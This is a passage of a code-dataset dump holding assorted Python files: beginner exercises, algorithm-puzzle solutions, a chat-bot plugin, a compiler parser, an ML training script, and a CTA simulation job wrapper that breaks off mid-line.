+{"seq_id":"73679355580","text":"'''Elabore um algoritmo que calcule e informe a média de idades de 5\nalunos.'''\n\nacumulaidade = 0\ncontador = 0\nwhile contador < 5:\n idade = int(input('Informe a sua idade: '))\n acumulaidade = acumulaidade + idade\n contador +=1\nmedia = acumulaidade/contador\nprint('A média das idades dos alunos são: ',media)","repo_name":"EdsonBila/EXERCICIOS-ESTUDO-python","sub_path":"3-Estrutura_de_Repeticao/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23291260502","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as f:\n long_desciption = f.read()\n\n__version__ = \"0.0.1\"\n\nREPO_NAME = \"Deep_leanirng_project\"\nAUTHOR_USER_NAME = \"Shivan118\"\nSRC_REPO = \"Deep_leanirng_project\"\nAUTHOR_EMAIL = \"kshivan848@gmail.com\"\n\n\nsetuptools.setup(name = SRC_REPO,\n version = __version__,\n author = AUTHOR_USER_NAME,\n author_email = AUTHOR_EMAIL,\n description =\"A Small Deep learning project\",\n long_desciption = long_desciption,\n long_desciption_content = \"text/markdown\",\n url=f\"https://github.com/{AUTHOR_USER_NAME}/{REPO_NAME}\",\n project_urls={\n \"Bug Tracker\": f\"https://github.com/{AUTHOR_USER_NAME}/{REPO_NAME}/issues\",\n },\n package_dir={\"\": \"src\"},\n packages=setuptools.find_packages(where=\"src\")\n)\n\n","repo_name":"Shivan118/Deep_leanirng_project","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"10675623095","text":"class Solution(object):\n def rob(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n def sub_rob(nums):\n f1 =0\n f2 =0\n sum =0\n # f(n) = max(f(n-2) + nums[n], f(n-1))\n for x in nums:\n sum = max(f2 + x , f1)\n f2 = f1\n f1 =sum\n return sum\n if len(nums) ==1:\n return nums[0]\n # 其实就是把环拆成两个队列,一个是从0到n-1,另一个是从1到n,然后返回两个结果最大的。\n first_nums = nums[0:len(nums)-1]\n second_nums = nums[1:len(nums)]\n return max(sub_rob(first_nums), sub_rob(second_nums))\n\nsolutuon = Solution()\nnums = [2, 3, 2]\nresult = solutuon.rob(nums=nums)\nprint(f\"nums:{nums},result:{result}\")\n\nnums = [2]\nresult = solutuon.rob(nums=nums)\nprint(f\"nums:{nums},result:{result}\")\n","repo_name":"liguobao/leetcode-py-2021","sub_path":"daily-code/213.rob.py","file_name":"213.rob.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"30988257036","text":"from nonebot import on_command\nfrom nonebot.log import logger\nfrom nonebot.adapters.onebot.v11.bot import Bot\nfrom nonebot.adapters.onebot.v11 import GROUP, GroupMessageEvent, Message, MessageSegment\nfrom nonebot.typing import T_State\nfrom nonebot.params import CommandArg\nfrom nonebot_plugin_tortoise_orm import add_model\nfrom .data_source import get_num_info,start_line_up,end_line_up,add_store_info\n\nadd_model(\"src.plugins.dunai_maimai_line_up.models\")\n\nend_linpUp = on_command(\"退勤\", permission=GROUP)\n\nstart_lineUp = on_command(\"出勤\", permission=GROUP)\n\naddInfo = on_command(\"新增机厅\", permission=GROUP)\n\ncheckNum = on_command(\"查询人数\", permission=GROUP)\n\n\n@addInfo.handle()\nasync def _(event:GroupMessageEvent, message: Message = CommandArg()):\n argv = str(message).split(\" \")\n if len(argv) < 3 or len(argv) > 3:\n await addInfo.finish(\"请检查输入格式: 新增机厅 机厅名称 别称 机台数量\", at_sender=True)\n return\n else:\n name = argv[0]\n alias = argv[1]\n maimai_count = int(argv[2])\n msg = await add_store_info(name,alias,maimai_count)\n await addInfo.finish(msg)\n\n\n@checkNum.handle()\nasync def _(event:GroupMessageEvent, message: Message = CommandArg()):\n argv = str(message).split(\" \")\n msg = await get_num_info(argv[0])\n await checkNum.finish(msg)\n\n\n@start_lineUp.handle()\nasync def _(event:GroupMessageEvent, message: Message = CommandArg()):\n argv = str(message).split(\" \")\n if len(argv) < 2 or len(argv) > 2:\n await start_lineUp.finish(\"请检查输入格式: 出勤 别名 人数\", at_sender=True)\n if argv[1].isdigit():\n msg = await start_line_up(argv[0], int(argv[1]))\n await start_lineUp.finish(msg)\n else:\n await start_lineUp.finish(\"输入格式错误:出勤 别名 数量\")\n\n\n@end_linpUp.handle()\nasync def _(event:GroupMessageEvent, message: Message = CommandArg()):\n argv = str(message).split(\" \")\n if len(argv) < 2 or len(argv) > 2:\n await end_linpUp.finish(\"请检查输入格式: 出勤 别名 人数\", at_sender=True)\n if argv[1].isdigit():\n msg = await end_line_up(argv[0], int(argv[1]))\n await start_lineUp.finish(msg)\n else:\n await start_lineUp.finish(\"输入格式错误:退勤 别名 数量\")","repo_name":"DuNai0524/DuNaiBot","sub_path":"src/plugins/dunai_maimai_line_up/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"2873740781","text":"import pandas as pd\n\nproducoes = {\n 0:['X', 2],\n 1:['A', 4],\n 2:['A', 2],\n 3:['B', 2],\n 4:['B', 2],\n 5:['B', 2],\n 6:['B', 2],\n 7:['B', 2],\n 8:['B', 2],\n 9:['B', 2],\n 10:['C', 4],\n 11:['D', 2],\n 12:['D', 2],\n 13:['E', 6],\n 14:['E', 6],\n 15:['F', 2],\n 16:['F', 2],\n 17:['F', 2],\n 18:['G', 2],\n 19:['G', 2],\n 20:['H', 16],\n 21:['H', 14],\n 22:['I', 6],\n 23:['I', 6],\n 24:['I', 10],\n 25:['I', 4],\n 26:['J', 6],\n 27:['J', 2],\n 28:['J', 2],\n 29:['L', 2],\n 30:['L', 2],\n 31:['M', 16],\n 32:['M', 8],\n 33:['N', 2],\n 34:['N', 6],\n 35:['N', 6],\n 36:['O', 10],\n 37:['O', 6],\n 38:['O', 6],\n 39:['O', 8],\n 40:['O', 4],\n 41:['O', 4],\n 42:['P', 6],\n 43:['P', 2],\n 44:['P', 2],\n 45:['R', 8],\n 46:['S', 8],\n 47:['S', 8],\n 48:['T', 2],\n 49:['T', 6],\n 50:['T', 2],\n 51:['U', 2],\n 52:['U', 2],\n 53:['U', 2]\n}\n\ndicionario_tokens = {\n \"=\": \"eh\",\n \"opLogBin\": \"Operador Lógico Binário\",\n \"opLogUn\": \"neim\",\n \"opAritBin\": \"Operador Aritmético Binário\",\n \"opAritUn\": \"Operador Aritmético Unário\",\n \"opRel\": \"Operador Relacional\",\n \"elif\": \"e_tem_cabimento\",\n \"else\": \"num_tem_cabimento\",\n \"string\": \"String\",\n \"int\": \"Inteiro explícito\",\n \"real\": \"Real explícito\",\n \"bool\": \"Booleano explícito\",\n \"(\": \"(\",\n \")\": \")\",\n \"{\": \"{\",\n \",\": \",\",\n \"trem\": \"Variável\",\n \"type\": \"Tipo\",\n \"oia\": \"oia\",\n \"print\": \"espia_soh\",\n \"input\": \"xove\",\n \"while\": \"vai_toda_vida\",\n \"break\": \"pica_mula\",\n \"if\": \"tem_cabimento\",\n \"}\": \"}\"\n}\n\ndef read_token_file(token_list):\n f = open(\"tokens.txt\")\n\n for line in f:\n token_end = 2\n for char in line[token_end:-2]:\n if char==\"'\":\n break\n token_end+=1\n token = line[2:token_end]\n\n value_end = token_end+4\n for idx in range(len(line)-2, value_end, -1):\n if line[idx]==\"'\":\n value_end = idx\n break\n value = line[token_end+4:value_end]\n\n line_number_start = value_end\n for char in line[line_number_start:-2]:\n if char==\",\":\n break\n line_number_start+=1\n line_number = line[line_number_start+2:-2]\n\n token_list.append([token, value, line_number])\n\n token_list.append(['$','$', token_list[-1][2]])\n\ndef empilha(pilha, num_celula, a):\n pilha.append(a)\n pilha.append(num_celula)\n\ndef reduz(pilha, num_celula, tabela_df):\n pilha = pilha[:-producoes[num_celula][1]] #desempilha 2*|B|\n\n s = pilha[-1] #s é topo da pilha\n\n pilha.append(producoes[num_celula][0]) #empilha A\n \n desvio = int(tabela_df.iloc[s][producoes[num_celula][0]])\n\n pilha.append(desvio) #empilha desvio\n\n return pilha\n\ndef sintatico():\n token_list = []\n read_token_file(token_list)\n\n tabela_df = pd.read_csv(\"Tabelas.csv\")\n pilha = [0]\n s = 0 #estado atual\n i = 0\n\n while(i < len(token_list)):\n s = pilha[-1]\n token_value_pair = token_list[i]\n\n a = token_value_pair[0] #token lido do par\n\n celula = tabela_df.iloc[int(s)][a]\n\n cod_acao = celula[0]\n \n if cod_acao == 'E':\n num_celula = int(celula[1:])\n empilha(pilha, num_celula, a)\n i += 1\n elif cod_acao == 'R':\n num_celula = int(celula[1:])\n pilha = reduz(pilha, num_celula, tabela_df)\n elif cod_acao == 'A':\n i += 1\n elif cod_acao == 'X':\n i += 1\n print(f\"ERRO NA LINHA {token_value_pair[2]}: Símbolo {token_value_pair[1]} inesperado!\")\n elif cod_acao == 'Z':\n print(f\"ERRO NA LINHA {token_value_pair[2]}: Símbolo {token_value_pair[1]} inesperado.\")\n num_celula = int(celula[1:])\n pilha = reduz(pilha, num_celula, tabela_df)\n elif cod_acao == 'W':\n i += 1\n print(f\"ERRO NA LINHA {token_value_pair[2]}: Símbolo {token_value_pair[1]} inesperado. {dicionario_tokens[celula[1:]]} faltante.\")\n else:\n print(\"ERRO NO COMPILADOR!\")\n \n print(\"-\"*5+\"Análise sintática finalizada!\"+\"-\"*5)\n\nif __name__ == '__main__':\n sintatico() \n","repo_name":"igorFNegrizoli/CompiladohDuMineirin","sub_path":"AnalisadorSintaticoIgorMateus/sintatico.py","file_name":"sintatico.py","file_ext":"py","file_size_in_byte":4332,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"23314429558","text":"\"\"\"\nTraining Code for Learning To Count Everything, CVPR 2021\nAuthors: Viresh Ranjan, Udbhav, Thu Nguyen, Minh Hoai\n\"\"\"\nimport argparse\nimport json\nimport os\nimport time\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom constants import LOGS_DIR, N_CHANNELS, SPLIT_DIR, TRAIN, VAL\nfrom dataset import MyDataset, collate_fn\nfrom model import CountRegressor, weights_normal_init\n\nparser = argparse.ArgumentParser(description='Few Shot Counting')\nparser.add_argument('-ep', '--epochs', type=int, default=1,\n help='number of training epochs')\nparser.add_argument('-g', '--gpu', type=int, default=0, help='GPU id')\nparser.add_argument('-lr', '--learning-rate', type=float,\n default=1e-5, help='learning rate')\nparser.add_argument('-bs', '--batch-size', type=int, default=1)\nparser.add_argument('-sz', '--size', type=int, default=None)\nparser.add_argument('-li', '--log-interval', type=int, default=1)\nparser.add_argument('-r', '--use-resize',\n action='store_true', default=False)\nparser.add_argument('-n', '--normalization', type=str,\n choices=['box_max', 'image_max'], default=None)\nparser.add_argument('-bn', '--use-batch-normalization',\n action='store_true', default=False)\n\nargs = parser.parse_args()\n\nwith open(SPLIT_DIR) as f:\n data = json.load(f)\n\ntrain_set = MyDataset(split=TRAIN,\n indices=[image_id.split('.jpg')[0]\n for image_id in data[TRAIN]],\n normalization=args.normalization)\nval_set = MyDataset(split=VAL,\n indices=[image_id.split('.jpg')[0]\n for image_id in data[VAL]],\n normalization=args.normalization)\n\ntrain_loader = DataLoader(dataset=train_set, batch_size=args.batch_size,\n shuffle=True, num_workers=0, collate_fn=collate_fn)\nval_loader = DataLoader(dataset=val_set, batch_size=args.batch_size,\n shuffle=False, num_workers=0, collate_fn=collate_fn)\n\nif not os.path.exists(LOGS_DIR):\n os.mkdir(LOGS_DIR)\n\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\ncount_regressor = CountRegressor(\n N_CHANNELS, pool='max', use_bn=args.use_batch_normalization).to(device)\nweights_normal_init(count_regressor, dev=0.001)\noptimizer = torch.optim.Adam(\n count_regressor.parameters(), lr=args.learning_rate)\n#criterion = torch.nn.MSELoss().to(device)\ncriterion = torch.nn.MSELoss(reduction='sum').to(device)\n\nmin_mae, min_rmse = 1e7, 1e7\n\n\ndef train(epoch: int):\n print('Training on FSC147 train set data...')\n\n total_loss = 0.0\n sum_absolute_error = 0.0\n sum_square_error = 0.0\n\n total_images: int = len(train_loader) * train_loader.batch_size\n pbar = tqdm(train_loader, miniters=train_loader.batch_size)\n for i, (image_features, densities, image_coords, split_size) in enumerate(pbar):\n if args.size and i == args.size:\n break\n image_features = image_features.to(device)\n predict_densities = count_regressor(image_features, split_size)\n\n optimizer.zero_grad()\n batch_loss = 0\n\n # Accumulate count error\n for predict_density, density, image_coord in zip(predict_densities, densities, image_coords):\n target_predict_density = predict_density[0][0]\n target_density = density[0][0].to(device)\n if args.use_resize:\n x_min, y_min, x_max, y_max = image_coord\n target_predict_density = target_predict_density[y_min:y_max, x_min:x_max]\n target_density = target_density[y_min:y_max, x_min:x_max]\n\n batch_loss += criterion(target_predict_density, target_density)\n\n # Caculate count error\n pred_count = torch.sum(target_predict_density).item()\n gt_count = torch.sum(target_density).item()\n count_error = abs(pred_count - gt_count)\n\n # Accumulate count error\n sum_absolute_error += count_error\n sum_square_error += count_error**2\n\n n_images: int = (i + 1) * train_loader.batch_size\n batch_loss.backward()\n total_loss += batch_loss.item()\n optimizer.step()\n\n if i % args.log_interval == 0:\n pbar.set_description('{:>7} Epoch: {} | {:>4}/{:>4} = {:>3}% | gt-predict: {:6.1f}, {:6.1f} | err: {:6.1f} | MAE: {:6.2f} | RMSE: {:6.2f} | Avg Loss: {:6.8f}\\n'.format(\n \"[TRAIN]\", epoch,\n n_images, total_images, (n_images * 100 // total_images),\n gt_count, pred_count, count_error,\n sum_absolute_error / n_images,\n (sum_square_error / n_images)**0.5,\n total_loss / n_images))\n\n return total_loss / n_images, \\\n sum_absolute_error / n_images, \\\n (sum_square_error / n_images)**0.5\n\n\ndef validation(epoch: int):\n print('\\nEvaluating on validation data...')\n\n sum_absolute_error = 0.0\n sum_square_error = 0.0\n\n total_images: int = len(val_loader) * val_loader.batch_size\n pbar = tqdm(val_loader, miniters=val_loader.batch_size)\n for i, (image_features, densities, image_coords, split_size) in enumerate(pbar):\n if args.size and i == args.size:\n break\n image_features = image_features.to(device)\n predict_densities = count_regressor(image_features, split_size)\n\n # Accumulate count error\n for predict_density, density, image_coord in zip(predict_densities, densities, image_coords):\n target_predict_density = predict_density[0][0]\n target_density = density[0][0].to(device)\n if args.use_resize:\n x_min, y_min, x_max, y_max = image_coord\n target_predict_density = target_predict_density[y_min:y_max, x_min:x_max]\n target_density = target_density[y_min:y_max, x_min:x_max]\n\n # Caculate count error\n pred_count = torch.sum(target_predict_density).item()\n gt_count = torch.sum(target_density).item()\n count_error = abs(pred_count - gt_count)\n\n # Accumulate count error\n sum_absolute_error += count_error\n sum_square_error += count_error**2\n\n n_images: int = (i + 1) * val_loader.batch_size\n if i % args.log_interval == 0:\n pbar.set_description('{:>7} Epoch: {} | {:>4}/{:>4} = {:>3}% | gt-predict: {:6.1f}, {:6.1f} | err: {:6.1f} | MAE: {:6.2f} | RMSE: {:6.2f} | Min MAE: {:6.2f} | Min RMSE: {:6.2f}\\n'.format(\n \"[VAL]\", epoch,\n n_images, total_images, (n_images * 100 // total_images),\n gt_count, pred_count, count_error,\n sum_absolute_error / n_images,\n (sum_square_error / n_images)**0.5,\n min_mae, min_rmse))\n return sum_absolute_error / n_images, (sum_square_error / n_images)**0.5\n\n\nif __name__ == '__main__':\n stats = []\n\n for epoch in range(1, args.epochs + 1):\n start: int = time.time()\n count_regressor.train()\n train_loss, train_mae, train_rmse = train(epoch)\n\n count_regressor.eval()\n val_mae, val_rmse = validation(epoch)\n stats.append((train_loss, train_mae, train_rmse, val_mae, val_rmse))\n\n if val_mae <= min_mae:\n print('\\nVal MAE ({:6.2f}) <= Min MAE ({:6.2f})'.format(\n val_mae, min_mae))\n min_mae = val_mae\n min_rmse = val_rmse\n model_name = f'{LOGS_DIR}/FamNet.pth'\n print(f'Write {model_name}...\\n')\n torch.save(count_regressor.state_dict(), model_name)\n\n epoch_duration = int(time.time() - start)\n\n print('Epoch {} ({}m : {}s), Avg. Epoch Loss: {:6.6f}'.format(\n epoch, epoch_duration // 60, epoch_duration % 60, train_loss))\n print('{:>8} | MAE: {:6.2f} | RMSE: {:6.2f}'.format(\n 'Train', train_mae, train_rmse))\n print('{:>8} | MAE: {:6.2f} | RMSE: {:6.2f}'.format(\n 'Val', val_mae, val_rmse))\n print('{:>8} | MAE: {:6.2f} | RMSE: {:6.2f}'.format(\n 'Min Val', min_mae, min_rmse))\n print()\n\n # Eager logging\n filename = f'{LOGS_DIR}/bs{train_loader.batch_size}' + \\\n f'_lr{str(args.learning_rate)}' + \\\n f'_ep{args.epochs}' + \\\n f'_norm{str(args.normalization)}' + \\\n f'_bn{args.use_batch_normalization}' + \\\n '.txt'\n with open(filename, 'w') as f:\n f.write(\n 'Epoch | Train Loss, Train MAE, Train RMSE, Val MAE, VAL RMSE\\n')\n for i, stat in enumerate(stats):\n s = '{:.8f}'.format(\n stat[0]) + ', ' + ', '.join(['{:4.2f}'.format(x) for x in stat[1:]])\n f.write('{:>5} | {}'.format(i + 1, s))\n f.write('\\n')\n","repo_name":"walkccc-NYU/CV-Squad","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"35440594394","text":"# -*- coding: utf-8 -*-\n\"\"\"\nRepresents an order object.\n\"\"\"\n\nclass CoreOrder:\n\n def __init__(self, id, tradeType, orderType, productType, \\\n variety, validity, quantity, disclosedQuantity, \\\n price, triggerPrice, amo, statusMessage, publisherId, \\\n pseudoAccount, tradingAccount, stockBroker, exchange, symbol, \\\n independentExchange, independentSymbol, \\\n modifiedTime, createdTime):\n \n self.id = id\n self.trade_type = tradeType\n self.order_type = orderType\n self.product_type = productType\n self.variety = variety\n self.validity = validity\n self.quantity = quantity\n self.disclosed_quantity = disclosedQuantity\n self.price = price\n self.trigger_price = triggerPrice\n self.amo = amo\n self.status_message = statusMessage\n self.publisher_id = publisherId\n self.pseudo_account = pseudoAccount\n self.trading_account = tradingAccount\n self.stock_broker = stockBroker\n self.exchange = exchange\n self.symbol = symbol\n self.independent_exchange = independentExchange\n self.independent_symbol = independentSymbol\n self.modified_time = modifiedTime\n self.modified_time = createdTime\n\n def __str__(self):\n return \"Order[{0},{1},{2},{3},{4},{5},{6},{7},{8},{9},{10}]\".format( \\\n self.pseudo_account, self.variety, self.independent_exchange, \\\n self.independent_symbol, self.product_type, self.trade_type, \\\n self.order_type, self.quantity, self.price, self.trigger_price, self.id)\n","repo_name":"Pritesh-Mhatre/python-library","sub_path":"com/dakshata/trading/model/portfolio/CoreOrder.py","file_name":"CoreOrder.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"23"} +{"seq_id":"22289133282","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\ndirections = [(), (-1, 0), (0, 1), (1, 0), (0, -1)]\n\n\ndef move(board, d, red, blue):\n rr, rc = red\n br, bc = blue\n\n red_stopped = True if board[rr + directions[d][0]][rc + directions[d][1]] == \"#\" else False\n blue_stopped = True if board[br + directions[d][0]][bc + directions[d][1]] == \"#\" else False\n\n while not (red_stopped and blue_stopped):\n nrr, nrc = rr + directions[d][0], rc + directions[d][1]\n nbr, nbc = br + directions[d][0], bc + directions[d][1]\n\n if board[nrr][nrc] == \"#\":\n red_stopped = True\n if board[nbr][nbc] == \"#\":\n blue_stopped = True\n\n if not red_stopped:\n if board[nrr][nrc] == \"O\":\n rr, rc = nrr, nrc\n red_stopped = True\n elif blue_stopped and nrr == br and nrc == bc:\n red_stopped = True\n else:\n rr, rc = nrr, nrc\n\n if not blue_stopped:\n if board[nbr][nbc] == \"O\":\n br, bc = nbr, nbc\n blue_stopped = True\n elif red_stopped and nbr == rr and nbc == rc:\n blue_stopped = True\n else:\n br, bc = nbr, nbc\n\n return (rr, rc), (br, bc)\n\n\ndef solution(n, m, board):\n blue, red, goal = (), (), ()\n\n for i in range(1, n + 1):\n for j in range(1, m + 1):\n if board[i][j] == 'B':\n blue = (i, j)\n elif board[i][j] == 'R':\n red = (i, j)\n elif board[i][j] == 'O':\n goal = (i, j)\n\n q = deque([(blue, red, 0)])\n visited = set()\n visited.add((blue[0], blue[1], red[0], red[1]))\n # blue_visited, red_visited = set(), set()\n # blue_visited.add(blue)\n # red_visited.add(red)\n\n while q:\n blue_location, red_location, count = q.popleft()\n if count > 10:\n return -1\n if red_location == goal:\n return count\n for i in range(1, 5):\n new_red_location, new_blue_location = move(board, i, red_location, blue_location)\n if new_blue_location == goal:\n continue\n # if new_red_location in red_visited and new_blue_location in blue_visited:\n # continue\n # red_visited.add(new_red_location)\n # blue_visited.add(new_blue_location)\n if (new_blue_location[0], new_blue_location[1], new_red_location[0], new_red_location[1]) not in visited:\n q.append((new_blue_location, new_red_location, count + 1))\n visited.add((new_blue_location[0], new_blue_location[1], new_red_location[0], new_red_location[1]))\n return -1\n\n\nN, M = map(int, input().split())\ngame_board = [[]]\nfor _ in range(N):\n game_board.append([''] + list(map(str, input().strip())) + [''])\ngame_board.append([])\n\nprint(solution(N, M, game_board))\n","repo_name":"Cho-SangHyun/Algorithm-Study","sub_path":"백준/13460-구슬탈출2.py","file_name":"13460-구슬탈출2.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"26086633188","text":"\"\"\"\n Simple Wrapper on the Job class to handle Prod3 MC\n\"\"\"\n\n__RCSID__ = \"$Id$\"\n\n# generic imports\nimport json, collections\n# DIRAC imports\nimport DIRAC\nfrom DIRAC.Interfaces.API.Job import Job\n\nclass Prod3MCJob( Job ) :\n \"\"\" Job extension class for Prod3 MC simulations,\n takes care of running corsika, 31 simtels and merging\n into 5 data files and 3 tar ball for log files.\n \"\"\"\n \n def __init__( self, cpuTime = 432000 ):\n \"\"\" Constructor\n \n Keyword arguments:\n cpuTime -- max cpu time allowed for the job\n \"\"\"\n Job.__init__( self )\n self.setCPUTime( cpuTime )\n # defaults\n self.setName('Prod3MC_Generation')\n self.package='corsika_simhessarray'\n self.version='2015-07-21'\n self.nShower=5\n self.start_run_number = '0'\n self.run_number = '10'\n self.array_layout='hex'\n self.template_tag='6'\n self.cta_site='Paranal'\n self.particle='gamma'\n self.pointing_dir = 'South'\n self.zenith_angle = 20.\n self.no_sct=True\n self.inputpath = 'Data/sim_telarray/cta-prod3/0.0deg'\n self.basepath = '/vo.cta.in2p3.fr/MC/PROD3/scratch'\n\n def setPackage(self, package):\n \"\"\" Set package name : e.g. 'corsika_simhessarray'\n \n Parameters:\n package -- corsika_simhessarray\n \"\"\"\n self.package=package\n\n def setVersion(self, version):\n \"\"\" Set software version number : e.g. 2015-07-21\n \n Parameters:\n version -- corsika+simtel package version number\n \"\"\"\n self.version=version\n\n def setNShower(self, nshow):\n \"\"\" Set the number of corsika showers,\n 5 is enough for testing\n 20000 in production usually.\n \n Parameters:\n nshow -- number of corsika primary showers to generate\n \"\"\"\n self.nShower=nshow\n \n def setRunNumber(self, runNb):\n \"\"\" Set the corsika run number, passed as a string\n because may be a TS parameter\n \n Parameters:\n runNb -- run number as a string, used as a corsika seed\n \"\"\"\n self.run_number=runNb\n\n def setStartRunNumber( self, startrunNb ):\n \"\"\" Set the corsika start run number (to be added to the run_number), passed as a string\n because may be a TS parameter\n\n Parameters:\n startrunNb -- to be added to the run number\n \"\"\"\n self.start_run_number = startrunNb\n\n def setArrayLayout(self, layout):\n \"\"\" Set the array layout type\n \n Parameters:\n layout -- a string for the array layout, hex or square\n \"\"\"\n if layout in ['hex', 'square']:\n DIRAC.gLogger.info ( 'Set Simtel layout to: %s'%layout )\n self.array_layout=layout\n else:\n DIRAC.gLogger.error ( 'Unknown layout: : %s'% layout )\n DIRAC.exit(-1)\n\n def setSite(self, site):\n \"\"\" Set the site to simulate\n \n Parameters:\n site -- a string for the site name (Paranal)\n \"\"\"\n self.cta_site=site\n\n def setParticle(self, particle):\n \"\"\" Set the corsika primary particle\n \n Parameters:\n particle -- a string for the particle type/name\n \"\"\"\n if particle in ['gamma','gamma-diffuse','electron','proton','helium']:\n DIRAC.gLogger.info ( 'Set Corsika particle to: %s'%particle )\n self.particle=particle\n else:\n DIRAC.gLogger.error ( 'Corsika does not know particle type: %s'%particle )\n DIRAC.exit(-1)\n\n def setPointingDir(self, pointing):\n \"\"\" Set the pointing direction, North or South\n \n Parameters:\n pointing -- a string for the pointing direction\n \"\"\"\n if pointing in ['North', 'South', 'East', 'West']:\n DIRAC.gLogger.info ( 'Set Pointing dir to: %s'%pointing )\n self.pointing_dir=pointing\n else:\n DIRAC.gLogger.error ( 'Unknown pointing direction: %s'%pointing )\n DIRAC.exit(-1)\n\n def setZenithAngle( self, zenith ):\n \"\"\" Set the pointing direction, North or South\n\n Parameters:\n zenith -- a string for the zenith angle\n \"\"\"\n self.zenith_angle = zenith\n\n def setNoSCTFlag(self, no_sct):\n \"\"\" Set the no sct flag to true or false\n\n Parameters:\n no_sct -- a bool set to true if you do not want to simulate SCTs\n \"\"\"\n self.no_sct = no_sct\n\n def setupWorkflow(self, debug=False):\n \"\"\" Setup job workflow by defining the sequence of all executables\n All parameters shall have been defined before that method is called.\n \"\"\"\n # step 1 -- to be removed -- debug only\n iStep = 1\n if debug:\n lsStep = self.setExecutable( '/bin/ls -alhtr', logFile = 'LS_Init_Log.txt' )\n lsStep['Value']['name']='Step%i_LS_Init'%iStep\n lsStep['Value']['descr_short']='list files in working directory'\n iStep+=1\n\n # step 2 \n swStep = self.setExecutable( '$DIRACROOT/scripts/cta-prod3-setupsw',\n arguments='%s %s'% (self.package, self.version),\\\n logFile='SetupSoftware_Log.txt')\n swStep['Value']['name'] = 'Step%i_SetupSoftware' % iStep\n swStep['Value']['descr_short'] = 'Setup software'\n iStep+=1\n\n # step 3 \n csStep = self.setExecutable( './dirac_prod3_corsika', \\\n arguments = '--start_run %s --run %s %s-%s %s %s %s %s' % \\\n ( self.start_run_number, self.run_number, \\\n self.array_layout, self.template_tag, self.cta_site,\\\n self.particle, self.pointing_dir, self.zenith_angle ), \\\n logFile='Corsika_Log.txt')\n csStep['Value']['name']='Step%i_Corsika'%iStep\n csStep['Value']['descr_short']='Run Corsika with 800+ telescopes'\n iStep+=1\n\n # step 4 \n csvStep = self.setExecutable( '$DIRACROOT/scripts/cta-prod3-verifysteps', \\\n arguments='corsika 6 100',\\\n logFile='Verify_Corsika_Log.txt')\n csvStep['Value']['name']='Step%i_VerifyCorsika'%iStep\n csvStep['Value']['descr_short']='Verify the Corsika run'\n iStep += 1\n\n # step 5\n simtel_args='--start_run %s --run %s --layout %s' % ( self.start_run_number, self.run_number, self.array_layout )\n if self.no_sct:\n simtel_args+=' --no-sct 1' \n stStep=self.setExecutable('./dirac_prod3_simtel',\\\n arguments=simtel_args,\\\n logFile='Simtels_Log.txt')\n stStep['Value']['name']='Step%i_Simtel'%iStep\n stStep['Value']['descr_short']='Run 31 simtel_array configuration sequentially'\n iStep+=1\n\n # step 6\n verif_simtel_args='simtel'\n if self.no_sct:\n verif_simtel_args+=' 26 100' \n else:\n verif_simtel_args+=' 31 100' \n stvStep = self.setExecutable( '$DIRACROOT/scripts/cta-prod3-verifysteps', \\\n arguments=verif_simtel_args,\\\n logFile='Verify_Simtel_Log.txt')\n stvStep['Value']['name']='Step%i_VerifySimtel'%iStep\n stvStep['Value']['descr_short'] = 'Verify the 26 or 31 Simtel runs'\n iStep += 1\n\n # step 7\n cleanStep = self.setExecutable( '$DIRACROOT/scripts/cta-prod3-cleandata',\n arguments = \"%s %s\" % ( 'Data/corsika' , '*/*.corsika.gz' ),\n logFile = 'CleanData_Log.txt' )\n cleanStep['Value']['name'] = 'Step%i_CleanData' % iStep\n cleanStep['Value']['descr_short'] = 'Remove corsika files'\n iStep += 1\n\n # step 8\n mgStep=self.setExecutable('./dirac_prod3_merge',\\\n arguments=simtel_args,\\\n logFile='Merging_Log.txt')\n mgStep['Value']['name']='Step%i_Merging'%iStep\n mgStep['Value']['descr_short']='Merge 31 simtel output into 5 data files and 3 tar balls for log files'\n iStep+=1\n\n # step 9\n verif_merging_args='merging'\n if self.no_sct:\n verif_merging_args+=' 5 5000' \n else:\n verif_merging_args+=' 10 5000' \n mgvStep = self.setExecutable( '$DIRACROOT/scripts/cta-prod3-verifysteps', \\\n arguments=verif_merging_args,\\\n logFile='Verify_Merging_Log.txt')\n mgvStep['Value']['name']='Step%i_VerifyMerging'%iStep\n mgvStep['Value']['descr_short']='Verify the merging of Simtel files'\n iStep += 1\n\n # step 10 - to be removed - debug only\n if debug:\n lsStep=self.setExecutable('/bin/ls -alhtr Data/sim_telarray/cta-prod3/*/*',logFile='LS_End_Log.txt')\n lsStep['Value']['name']='Step%i_LS_End'%iStep\n lsStep['Value']['descr_short']='list files in working directory and sub-directory'\n iStep += 1\n \n # step 11\n # ## the order of the metadata dictionary is important, since it's used to build the directory structure\n metadata = collections.OrderedDict()\n metadata['array_layout'] = self.array_layout\n metadata['site'] = self.cta_site\n metadata['particle'] = self.particle\n if self.pointing_dir == 'North':\n metadata['phiP'] = 180\n if self.pointing_dir == 'South':\n metadata['phiP'] = 0\n metadata['thetaP'] = float( self.zenith_angle )\n # metadata['process_program'] = 'simtel' + '_' + self.version\n metadata['tel_sim_prog'] = 